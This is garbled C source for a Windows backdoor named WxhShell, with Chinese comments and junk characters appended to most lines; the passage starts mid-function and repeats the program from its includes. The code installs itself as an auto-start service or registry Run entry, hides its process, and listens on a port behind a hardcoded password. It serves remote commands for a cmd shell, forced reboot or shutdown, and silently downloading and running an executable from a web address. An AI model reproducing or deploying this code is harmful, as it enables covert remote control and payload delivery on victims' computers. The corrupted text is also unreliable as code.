    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LK~ 0ck7  
    if(Boot(SHUTDOWN)) QV1%Zou  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mn` Ae=  
    else { 'J$NW  
    closesocket(wsh); 3W0:0I  
    ExitThread(0); a@1gMZc*  
    } D~>P/b)v{j  
    break; Vd~k4  
    } "rJL ^ \r  
  // 获取shell  /9Xf[<  
  case 's': { &ayoTE^0,  
    CmdShell(wsh); ,_O[; L  
    closesocket(wsh); GjBQxn  
    ExitThread(0); U5=J;[w}N  
    break; 9hU@VPB~  
  } N%y FL  
  // 退出 XwMC/]lK<  
  case 'x': { Kfl+8UR5=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Y0m;-1M  
    CloseIt(wsh); { q<l]jn9  
    break; e#^by(1@}  
    } Fjb[Ev  
  // 离开 #$E vybETx  
  case 'q': { 0kfw8Lon  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Jz>e}*)  
    closesocket(wsh); uv!/DX#  
    WSACleanup(); t60m:k4J  
    exit(1); `x{gF8GV  
    break; 7 &Aakl  
        } oGZ9@Y)(T  
  } cAS5&T<  
  } OoNAW<  
<[bDNe["?  
  // 提示信息 XA68H!I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \N)FUYoHg  
} ^ 9i^Ci9  
  } 8}"j#tDc  
Df9}YI ;?  
  return; M}>q>  
} %oo&M;  
%M`&}'6'  
// shell模块句柄 F 7=-k/k  
int CmdShell(SOCKET sock) kH'Cx^=c6h  
{ nJnan,`W  
STARTUPINFO si; V4>P8cE  
ZeroMemory(&si,sizeof(si)); F-6* BUqJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BI s!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Smp+}-3O  
PROCESS_INFORMATION ProcessInfo; b#M<b.R)  
char cmdline[]="cmd"; *VU Xw@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^iTA4 0K  
  return 0; ~gf $ L9  
} .&Z Vy{uP  
_F,OS<>  
// 自身启动模式 g 0L 4  
int StartFromService(void) ]k Pco4  
{ gDv]n^&  
typedef struct :/3`+&T^/  
{ i0P+,U  
  DWORD ExitStatus; #SdaTMLFf  
  DWORD PebBaseAddress; 1;h>^NOq  
  DWORD AffinityMask; bMZ0%(q  
  DWORD BasePriority; ><=af 9T  
  ULONG UniqueProcessId; H`P )  
  ULONG InheritedFromUniqueProcessId; UaBR;v-.B3  
}   PROCESS_BASIC_INFORMATION; Q*wx6Pu8  
zR4huo  
PROCNTQSIP NtQueryInformationProcess; % /s1ma6q  
0\m zGfd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zj JD@,j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #yqcUbJY0R  
OV[-m;h|  
  HANDLE             hProcess; Ub"\LUu  
  PROCESS_BASIC_INFORMATION pbi; #wo_  
OhTO*C8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ldxUq,p  
  if(NULL == hInst ) return 0; kO4C^pl"v  
s^U^n//  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,kP{3.#Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _+{s^n=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r'8e"pTi  
sqy5rug  
  if (!NtQueryInformationProcess) return 0; 6B 8!2  
q<1@ut  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,"/_G  
  if(!hProcess) return 0; #<JrSl62(K  
BP7_o63/G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; njIvVs`q  
*D'V W{  
  CloseHandle(hProcess); 2@H~nw 0  
>!$4nxq2>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wjl? @K  
if(hProcess==NULL) return 0; ED6H  
V}(%2W5X+  
HMODULE hMod; qjWgyhL  
char procName[255]; ;9^B# aTM  
unsigned long cbNeeded; 2|T@  
"}!vYr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W=DQ6.   
]/a?:24[  
  CloseHandle(hProcess); 9Hu%Z/[!p  
sC#Ixq'ls7  
if(strstr(procName,"services")) return 1; // 以服务启动 [)a,rrhj  
DQ~@=%?ni  
  return 0; // 注册表启动 LR^b?.#>  
} $UH_)Q2#J^  
-H]svOX  
// 主模块 |[qI2-el?  
int StartWxhshell(LPSTR lpCmdLine) 1 4|S^UM$  
{ x&f?c=\F  
  SOCKET wsl; Lt*H|9  
BOOL val=TRUE; isaT0__8  
  int port=0; KLxg  
  struct sockaddr_in door; Mn=_lhW K  
J3$ihH.  
  if(wscfg.ws_autoins) Install(); 2n@"|\uHD  
!is8`8F8  
port=atoi(lpCmdLine); w0.#/6  
0 xXAhv-)O  
if(port<=0) port=wscfg.ws_port; 3(CUC  
{d3r>Ub)7d  
  WSADATA data; jHFdDw|N`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IX3r$}4  
jW6@U%[!b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kt@+UK."  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sw0~6RZ  
  door.sin_family = AF_INET; 9eV@v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *zmbo >{(  
  door.sin_port = htons(port); 5Po.&eS  
& MAIm56~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }wiq?dr  
closesocket(wsl); L 5>>gG ,  
return 1; |S.-5CAh4  
} 1sgoT f%  
|#S!qnXB  
  if(listen(wsl,2) == INVALID_SOCKET) { 79i>@u%  
closesocket(wsl); `a<G7  
return 1; 7%o\O{,U  
} \tQRyj\|  
  Wxhshell(wsl); 9'T(Fc  
  WSACleanup(); YAO.Ccz  
n9)/(=)>*  
return 0; j| 257D  
f}@]dFr  
} $ccI(J`zux  
xOS4J+'s@  
// 以NT服务方式启动 m!v`nw]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iS02uVmBZ  
{ Z>o20uA  
DWORD   status = 0; B:Msn)C~  
  DWORD   specificError = 0xfffffff; {Rbc  
=7Nm= 5@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YsDn?pD@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .\i9}ye  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k~:B3p  
  serviceStatus.dwWin32ExitCode     = 0; MTa.Ubs  
  serviceStatus.dwServiceSpecificExitCode = 0; }>SHTHVye  
  serviceStatus.dwCheckPoint       = 0; ]W]Vkkg]  
  serviceStatus.dwWaitHint       = 0; z%]~^k8  
tZ4W]od  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); , Lhgv1  
  if (hServiceStatusHandle==0) return; skr^m%W  
LkNC8V  
status = GetLastError(); #j'O rD  
  if (status!=NO_ERROR) ,sXa{U  
{ ]yA| m3^2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x1wm]|BIf  
    serviceStatus.dwCheckPoint       = 0; f |aO9w   
    serviceStatus.dwWaitHint       = 0; Xv6z>z.  
    serviceStatus.dwWin32ExitCode     = status; CShVJ:u+K\  
    serviceStatus.dwServiceSpecificExitCode = specificError; |Q.t]TR'P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i3N _wv{  
    return; N!aV~\E  
  } uB0/H=<H  
'V .4Nhd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; miEfxim  
  serviceStatus.dwCheckPoint       = 0; [sbC6(z  
  serviceStatus.dwWaitHint       = 0; 8gr&{-5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &A]*"lt|w  
} Pa%XLn'5  
'GS1"rkW<5  
// 处理NT服务事件,比如:启动、停止 (\>_{"*=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) " #_NA`$i  
{ Hk(w\   
switch(fdwControl) { SJ=|L6  
{ 6D6=5!l  
case SERVICE_CONTROL_STOP: 'R99kL/.N  
  serviceStatus.dwWin32ExitCode = 0; ey@y?X=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p~DlZk"  
  serviceStatus.dwCheckPoint   = 0; }mk9-7  
  serviceStatus.dwWaitHint     = 0; ,H[-.}OO  
  { V!a|rTU6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^s_E|~U  
  } ,`B*rCOa  
  return; +);o{wfW  
case SERVICE_CONTROL_PAUSE: {.DI[@.g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^7vh ize  
  break; LX!16a@SxA  
case SERVICE_CONTROL_CONTINUE: WOz dYeeG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w'#VN|;;!  
  break; i=#r JK=  
case SERVICE_CONTROL_INTERROGATE: MuO7_*q'n  
  break; = r_&R#~GT  
}; w1h07_u;v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !f V.#9AB#  
} yAi#Y3!::  
Bm;{dO  
// 标准应用程序主函数 --dGN.*xb4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ig7)VKr  
{ 9L*gxI>  
kS8srT /H  
// 获取操作系统版本 _bMD|  
OsIsNt=GetOsVer(); {uDL"~^\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |Gzd|$%Oq  
ph<Z/wlz  
  // 从命令行安装 tQF7{F-}  
  if(strpbrk(lpCmdLine,"iI")) Install(); I^qk`5w  
U^snb6\5  
  // 下载执行文件 t&ztY] qh  
if(wscfg.ws_downexe) { ^{zwIH2I]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N`Zm[Sv7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7Q/v#_e(  
} .KIAeCvl\  
Z8}Zhe.  
if(!OsIsNt) { fu?>O /Gn/  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;_F iiBk7(  
HideProc(); L>).o%(R  
StartWxhshell(lpCmdLine); G$x uHHZ'  
} @lc1Ipfk"  
else Z>7Oez>  
  if(StartFromService()) w-HgC  
  // 以服务方式启动 MV e5j+8  
  StartServiceCtrlDispatcher(DispatchTable); uY5f mM9  
else 'B8fc-n  
  // 普通方式启动 %$:js4  
  StartWxhshell(lpCmdLine);  /d0LD  
OE}L})"  
return 0; H]mY6D51"  
} 0d9rJv}~  
+`mJh \*  
9 /t}S6b{  
j &)|nK;}  
=========================================== n 'ZlIh  
*O$kF.3q  
 h%E25in  
<*3wnpj_  
n?YGX W/  
q ^n6"&;*  
" .Uh-Wi[  
[ j1SX-NX  
#include <stdio.h> tqmM7$}}P  
#include <string.h> UDt.w82  
#include <windows.h> P+%O]v1 Ob  
#include <winsock2.h> 1k-^LdDj  
#include <winsvc.h> o5BOe1_Pw  
#include <urlmon.h> 2a (w7/W:  
x|F6^d   
#pragma comment (lib, "Ws2_32.lib") Jn' q'+  
#pragma comment (lib, "urlmon.lib") zblh_6  
:>F:G%(DK  
#define MAX_USER   100 // 最大客户端连接数 |b'tf:l  
#define BUF_SOCK   200 // sock buffer (|(Y;%>-v  
#define KEY_BUFF   255 // 输入 buffer @wl80v  
A}t.`FLP,j  
#define REBOOT     0   // 重启 /(W{`  
#define SHUTDOWN   1   // 关机 zc*qmb  
  
#define DEF_PORT   5000 // 监听端口 TN7kt]a2  
sOz jViv  
#define REG_LEN     16   // 注册表键长度 p%xo@v(  
#define SVC_LEN     80   // NT服务名长度  T~ /Bf  
I@pnZ-5  
// 从dll定义API 3|/ ;`KfQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }x~|XbG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 87YT;Z;U&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %nFZA)B[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q>]v~  
>J.a, !  
// wxhshell配置信息 ^q%~K{'`-  
struct WSCFG { ZH0 ~:  
  int ws_port;         // 监听端口 BL]!j#''KE  
  char ws_passstr[REG_LEN]; // 口令 K*7*`6iU  
  int ws_autoins;       // 安装标记, 1=yes 0=no rya4sxCh  
  char ws_regname[REG_LEN]; // 注册表键名 YRW<n9=3  
  char ws_svcname[REG_LEN]; // 服务名 G U0zlG] C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D 67H56[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A5ktbj&gy<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3j]La  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b.8HGt<%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~ Z%>N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b]hRmW  
CSt6}_c!  
}; /bt@HFL|`  
OWtN=Gk  
// default Wxhshell configuration Kqhj=B  
struct WSCFG wscfg={DEF_PORT, ~4XJ" d3L  
    "xuhuanlingzhe", s8 .oS);`  
    1, JOenVepQ,  
    "Wxhshell", `.L8<-]W  
    "Wxhshell", #<yR:3  
            "WxhShell Service", "84.qgYaG  
    "Wrsky Windows CmdShell Service", [#lPT'l  
    "Please Input Your Password: ", Vi5RkUY]  
  1, R0oP##]  
  "http://www.wrsky.com/wxhshell.exe", #FTXy>W  
  "Wxhshell.exe" (VC{#^2l  
    }; Yw?%>L  
+]5JXt^  
// 消息定义模块 w y:USS?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qI8{JcFx:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7F)HAbIS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o#%2N+w  
char *msg_ws_ext="\n\rExit."; %S$P+B?  
char *msg_ws_end="\n\rQuit."; 'hU&$lgMF  
char *msg_ws_boot="\n\rReboot..."; 9R'rFI  
char *msg_ws_poff="\n\rShutdown..."; 89'nbg  
char *msg_ws_down="\n\rSave to "; iCc@N|~  
+c\fDVv  
char *msg_ws_err="\n\rErr!"; ro^Y$;G  
char *msg_ws_ok="\n\rOK!"; A6TNtXk  
"z@q G]#5  
char ExeFile[MAX_PATH]; ew }C*4qH  
int nUser = 0; G>*s+  
HANDLE handles[MAX_USER]; EG<K[t  
int OsIsNt; $Iqt c)DA  
D{a{$P r  
SERVICE_STATUS       serviceStatus; \$riwL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qI5/ME(}  
{,P&05iSi  
// 函数声明 )9L1WOGi  
int Install(void); Z{u*vUC&  
int Uninstall(void); ,+zLFQC0@  
int DownloadFile(char *sURL, SOCKET wsh); S`"IM?  
int Boot(int flag); lEQn2+  
void HideProc(void); N:"E%:wSbi  
int GetOsVer(void); G} }oeS  
int Wxhshell(SOCKET wsl); X#+A?>Z]}<  
void TalkWithClient(void *cs); RFQa9Rxk  
int CmdShell(SOCKET sock); U/0NN>V  
int StartFromService(void); ?A,gDk/#  
int StartWxhshell(LPSTR lpCmdLine); <<4G GO  
@f{)]I +f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !7^fji  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ) ,*&rd!  
NWX~@Rg  
// 数据结构和表定义 }JrM!'  
SERVICE_TABLE_ENTRY DispatchTable[] = #Cbn"iYee  
{ ]O&TU X@)  
{wscfg.ws_svcname, NTServiceMain}, TZ-n)rC)v  
{NULL, NULL} n'%*vdHK m  
}; IxgnZX4N  
|wVoJO!O}  
// 自我安装 DRf~l9f  
int Install(void) z\fD}`^8  
{ SQa.xLU  
  char svExeFile[MAX_PATH]; <NT/+>:2  
  HKEY key; #r:J,D6*  
  strcpy(svExeFile,ExeFile); 'fawpU|h  
!=q {1\#  
// 如果是win9x系统,修改注册表设为自启动 r")=Z1y  
if(!OsIsNt) { ^_)CQ%W?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $0iz;!w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w?<:`  
  RegCloseKey(key); fs>0{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6t/})Xv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'HW(RC0dR  
  RegCloseKey(key); D.R5-  
  return 0; _.Uz!2  
    } <Hm:#<\  
  } 2/?pI/W  
} k= nfo-h  
else { dpE\eXoa,  
@RbAC*Y]g  
// 如果是NT以上系统,安装为系统服务 >i@gR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( 9dV%#G\  
if (schSCManager!=0) P{QRmEE  
{ Pgye{{  
  SC_HANDLE schService = CreateService fbo64$!hZ  
  ( rYN`u  
  schSCManager, as~.XWa  
  wscfg.ws_svcname, .$v]B xu  
  wscfg.ws_svcdisp, Z''Fz(qMC  
  SERVICE_ALL_ACCESS, (IJf2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hO{@!H$l  
  SERVICE_AUTO_START, De:w(Rm  
  SERVICE_ERROR_NORMAL, o)S>x0| [  
  svExeFile, EB@!?=0x  
  NULL, !dVcnK1  
  NULL, as o8  
  NULL, &sx/qS#,VL  
  NULL,  s.GTY@t  
  NULL ~R!(%j ]  
  ); ufEt"P-X.  
  if (schService!=0) >2$Ehw:K^  
  { Wc`Vcn1  
  CloseServiceHandle(schService); PMXnupt  
  CloseServiceHandle(schSCManager); @$+l ^"#-]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UPN2p&gM  
  strcat(svExeFile,wscfg.ws_svcname); ;CAB.aB~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y7,~7f!N2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o#0NIn"GS/  
  RegCloseKey(key); PO)5L  
  return 0; R+!2 j  
    } ]V.9jlXF  
  } nV']^3b  
  CloseServiceHandle(schSCManager); nW|[poQK  
} ]*zF#Voc  
} mjs*Z{_F^  
' P-K}Y  
return 1; QW6k!ms$  
} GIZNHG   
_DJ0 MR~3  
// 自我卸载 Y>%A*|U%  
int Uninstall(void) *bv Iqa  
{ zq1&MXR)l  
  HKEY key; tQ2*kE  
WNL3+  
if(!OsIsNt) { uLL#(bhDr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #o yvsS8  
  RegDeleteValue(key,wscfg.ws_regname); 4eIu@ ";!  
  RegCloseKey(key); RJtSHiM2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xYwbbFGrG  
  RegDeleteValue(key,wscfg.ws_regname); zROyG  
  RegCloseKey(key); Y|B/(  
  return 0; cRU.   
  } ^/g&Q  
} eh)J'G]G  
} tbOe,-U-@  
else { =1+I<Ljk  
luC',QJB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +m>Kb edl  
if (schSCManager!=0) uVisU%p  
{  ) mv}u~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ao7|8[  
  if (schService!=0) ~r=TVHjqi  
  { *xLMs(gg  
  if(DeleteService(schService)!=0) { 1bj75/i<6  
  CloseServiceHandle(schService); W%1fm/ G0  
  CloseServiceHandle(schSCManager); 0s<o5`v  
  return 0; 9`09.`U9[  
  } W/?D}#e<4  
  CloseServiceHandle(schService); sDbALAp +  
  } Ke 'bH  
  CloseServiceHandle(schSCManager); Nw|Lrn*h!  
} +9h6{&yr1  
} .s2d  
)Ba^Igb}  
return 1; *><] [|Y@H  
} yY&(?6\{<<  
~CM{?{z;  
// 从指定url下载文件 W}.4$f>  
int DownloadFile(char *sURL, SOCKET wsh) 1 1p\ z  
{ m9PcDhv  
  HRESULT hr; q_oYI3  
char seps[]= "/"; PDpIU.=!0  
char *token; LI nN-b#  
char *file; Zn9w1ev  
char myURL[MAX_PATH]; Y<0f1N  
char myFILE[MAX_PATH]; ::M/s#-@  
nt5 ~"8  
strcpy(myURL,sURL); -k<.Q=]<t  
  token=strtok(myURL,seps); {{<o1{_H  
  while(token!=NULL) &.4lhfI+(Q  
  { U7ajDw  
    file=token; slPFDBx  
  token=strtok(NULL,seps); qc`_&!*D  
  } !HB,{+25  
%b!p{p  
GetCurrentDirectory(MAX_PATH,myFILE); nFB;!r  
strcat(myFILE, "\\"); !w/~dy  
strcat(myFILE, file); I&(cdKY z  
  send(wsh,myFILE,strlen(myFILE),0); ?Rl*5GRW  
send(wsh,"...",3,0); v4ueFEY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h.7 1O"N  
  if(hr==S_OK) Z-vzq;  
return 0; @D60  
else , g6.d#c  
return 1; {+r?g J  
g`&pQ%|=  
} Ot,sMRk'  
lI5{]?'  
// 系统电源模块 uZQ)A,#n;  
int Boot(int flag) 6l>G>)  
{ F]ALZxwkz  
  HANDLE hToken; Y{J/Oib  
  TOKEN_PRIVILEGES tkp; Q5jP`<zWU  
+HfjnEbtBs  
  if(OsIsNt) { o 86}NqK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {Qhv HV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fI BLJ53  
    tkp.PrivilegeCount = 1; O&O1O> [p1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5-C6;7%:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); klx4Mvq+/@  
if(flag==REBOOT) { Mv9s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cw+ (,1  
  return 0; "`3H0il;<  
} V*)6!N[5  
else { :zZtZT!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3s|tS2^4  
  return 0; d?S<h`{x   
} B@s\>QMm  
  } Xajjzl\b  
  else { rVN|OLh  
if(flag==REBOOT) { NuP@eeF>,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;=n7 Z  
  return 0; HML6<U-eS  
} ,Tr12#D:  
else { Lc.7:r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^Krkf4fO  
  return 0; j"NqNv  
} gF%ad=xm  
} s@ q54  
{bNnhW*qOu  
return 1; .*zQ\P  
} Z>D7C?v:(  
xQD#; 7  
// win9x进程隐藏模块 M)LdGN?$  
void HideProc(void) SOUA,4  
{ Ti'O 2k  
;wN.RPE_^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -I|yi'  
  if ( hKernel != NULL ) 2HTZ, W  
  { KS| $_-7 u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -S|L+">=Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;N j5NB7  
    FreeLibrary(hKernel); $]T7Iwk  
  } :4Y|%7[  
!BY=HFT  
return; [lnN~#(Y  
} h?R-t*G?  
Dho~6K }"  
// 获取操作系统版本 ' Wi*[  
int GetOsVer(void) I%(+tJ  
{ zMG4oRPP  
  OSVERSIONINFO winfo; k9bU<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =X1$K_cN  
  GetVersionEx(&winfo); Zkz:h7GUG-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y# lE  
  return 1; tL3(( W"  
  else Uvuvr_IP  
  return 0; H ,?MG  
} D ,)~j6OG8  
xA-G&oC]<T  
// 客户端句柄模块 s+CWyW@  
int Wxhshell(SOCKET wsl) ud.S, 8Sy  
{ `\qU.m0(j  
  SOCKET wsh; bVVa5? HP  
  struct sockaddr_in client; Npu;f>g0_  
  DWORD myID; [&39Yv.k,7  
+FJ o!~1  
  while(nUser<MAX_USER) f{+8]VA  
{ zxj!ihs<  
  int nSize=sizeof(client); x:@e ID  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m\VJ=  
  if(wsh==INVALID_SOCKET) return 1; `S.;&%B\  
'LX=yL]I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wF&\@H  
if(handles[nUser]==0) yRy9*r=  
  closesocket(wsh); k"n#4o:  
else {1qEN_ERx  
  nUser++; BY 1~\M  
  } L72GF5+!!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D_8hn3FH  
:<jf}[w!  
  return 0; a'A0CQ  
} '-*r&:  
~ugcfDJ  
// 关闭 socket Mc\lzq8\ 1  
void CloseIt(SOCKET wsh) QKF2_Acc   
{ LyQO_mT2  
closesocket(wsh); &"CS1P|  
nUser--; *yJb4uALB  
ExitThread(0); [Z[)hUXE?  
} sG}9l1  
)XNcy"   
// 客户端请求句柄 8cd,SQ}y  
void TalkWithClient(void *cs) |W::\yu6  
{ kC#;j=K?  
"5e]-u'  
  SOCKET wsh=(SOCKET)cs; $)uQ%/DH>  
  char pwd[SVC_LEN]; B 51LZP  
  char cmd[KEY_BUFF]; FKzqJwT  
char chr[1]; 8(+X0}  
int i,j; D2hvf ^g'*  
Z@*Z@]FC  
  while (nUser < MAX_USER) { nd?m+C&W  
@e slF  
if(wscfg.ws_passstr) { 1"e=Zqn$)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $M><K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?K]k(ZV_+Y  
  //ZeroMemory(pwd,KEY_BUFF); PK~okz4b  
      i=0; O8lOr(|l  
  while(i<SVC_LEN) {  &wj Ob  
eFx*lYjA  
  // 设置超时 0r@rXwz  
  fd_set FdRead; kj[[78  
  struct timeval TimeOut; :Rq D0>1  
  FD_ZERO(&FdRead); PF+`3  
  FD_SET(wsh,&FdRead); l==T3u r  
  TimeOut.tv_sec=8; <9Chkb|B  
  TimeOut.tv_usec=0; 7,jqA"9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]F_u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wl,yznT  
''(T3;^ +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b!N`@m=  
  pwd=chr[0]; F%Xq}LMd  
  if(chr[0]==0xd || chr[0]==0xa) { VOiphw`  
  pwd=0; (kSk bwu  
  break; @3G3l|~>  
  } oDRNM^gz  
  i++; < /}[x2w?]  
    } 57#:GN$EL  
FkS{Z s  
  // 如果是非法用户,关闭 socket 8=?I/9Xh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WT0U)x( m5  
} /RMep8 &  
'J\%JAR@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 59)PJ0E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZE1#{u~[y  
p&q&Fr-   
while(1) { ~vt8|OOo0  
-}>Q0d)  
  ZeroMemory(cmd,KEY_BUFF); DS^Q0 f  
xo*a9H?@  
      // 自动支持客户端 telnet标准   e5AiIVlv  
  j=0; ^ yfT7050  
  while(j<KEY_BUFF) { D]0#A|n F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1b't"i M  
  cmd[j]=chr[0]; p'R}z|d)  
  if(chr[0]==0xa || chr[0]==0xd) { ?$gEX@5h  
  cmd[j]=0; :8rqTBa`  
  break; lKa}Bcd  
  } ;+5eE`]a/L  
  j++; 4}0s^>R  
    } Y/4B*>kl  
2#rF/!`^  
  // 下载文件 @-W)(9kZ|  
  if(strstr(cmd,"http://")) { *v&g>Ni  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UrtN3icph  
  if(DownloadFile(cmd,wsh)) _E1:3 N|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oZIoY*7IrQ  
  else jKtbGVZ 7r  
